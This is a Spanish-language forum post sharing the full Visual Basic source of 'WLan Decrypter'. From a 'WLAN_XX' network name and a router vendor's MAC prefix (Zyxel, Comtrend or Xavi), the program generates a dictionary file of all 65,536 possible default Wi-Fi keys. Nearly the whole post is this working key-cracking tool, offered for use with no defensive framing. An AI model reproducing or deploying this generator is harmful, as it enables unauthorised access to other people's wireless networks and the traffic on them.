Hola a todos!
Este es mi primer post XD
Bueno como bien he dicho he creado una version de WLan Decrypter para windows escrita en VB.
Aquí os dejo el código fuente:
Option Explicit
'Globales
Dim Inicio As String
Dim ApClave As String
Dim Fin As String
Private Sub Form_Load()
'Colocar caret al final de wlan
TxtEssid.SelStart = Len(TxtEssid.Text)
'Tipos de Bssid's
CmbBssid.AddItem "00:13:49:XX:XX:XX"
CmbBssid.AddItem "00:30:DA:XX:XX:XX"
CmbBssid.AddItem "00:01:38:XX:XX:XX"
CmbBssid.ListIndex = 0
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LblGenerar.ForeColor = &HC000&
End Sub
Private Sub TxtEssid_Change()
TxtEssid = UCase(TxtEssid.Text)
TxtEssid.SelStart = Len(TxtEssid.Text)
End Sub
Private Sub LblGenerar_Click()
If Len(TxtEssid.Text) <> 7 Or Mid(TxtEssid.Text, 1, 5) <> "WLAN_" Then
MsgBox "El formato de la ESSID debe ser WLAN_XX", vbCritical
TxtEssid.Text = "WLAN_"
Exit Sub
End If
DetectarRouter
AproximarClave
GenerarDiccionario
End Sub
Private Sub LblGenerar_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LblGenerar.ForeColor = vbRed
End Sub
Public Sub DetectarRouter()
Dim Fin As String
Dim Router As String
'Tipo de router
Select Case CmbBssid.List(CmbBssid.ListIndex)
Case "00:13:49:XX:XX:XX"
Router = "Zyxel"
Inicio = "Z"
Case "00:30:DA:XX:XX:XX"
Router = "Comtrend"
Inicio = "C"
Case "00:01:38:XX:XX:XX"
Router = "Xavi"
Inicio = "X"
End Select
LblRouter.Caption = "El router es un " & Router
End Sub
Public Sub AproximarClave()
Dim Contador As Integer
Dim Digito As String
Dim Clave As String
Fin = Mid(TxtEssid.Text, Len(TxtEssid.Text) - 1, 2)
For Contador = 1 To 8
Digito = Mid(CmbBssid.List(CmbBssid.ListIndex), Contador, 1)
If Digito <> ":" Then
Clave = Clave & Digito
End If
Next Contador
'Guardamos el final de la clave y el tronco en las globales
ApClave = Clave
Clave = Inicio & Clave & "XXXX" & Fin
'Construimos la clave
LblClave.Caption = "La clave es del tipo " & Clave
Clave = ""
Digito = ""
End Sub
Private Sub TxtEssid_KeyPress(KeyAscii As Integer)
If InStr("0123456789abcdef" & Chr(8), Chr(KeyAscii)) = 0 Then
KeyAscii = 0
Beep
End If
End Sub
Public Sub GenerarDiccionario()
Dim Tronco As String
Dim Libre As Integer
Libre = FreeFile
Open App.Path & "\" & TxtEssid.Text & ".txt" For Append As #Libre
Dim Numero As Double
'Numero con formato de 4 cifras en hexadecimal
For Numero = 0 To 65535
Tronco = Trim(CStr(Hex(Numero)))
Select Case Len(Tronco)
Case Is = 1
Tronco = "000" & Tronco
Case Is = 2
Tronco = "00" & Tronco
Case Is = 3
Tronco = "0" & Tronco
End Select
Print #Libre, Inicio & ApClave & Tronco & Fin
DoEvents
Tronco = ""
Next Numero
DoEvents
Close #Libre
MsgBox "Creado el diccionario " & TxtEssid.Text & " (" & Numero & " posibles claves)", vbInformation, "Wlan Decrypter"
Shell "explorer.exe " & App.Path & "\" & TxtEssid.Text & ".txt", vbNormalFocus
End Sub
y un pantallazo:
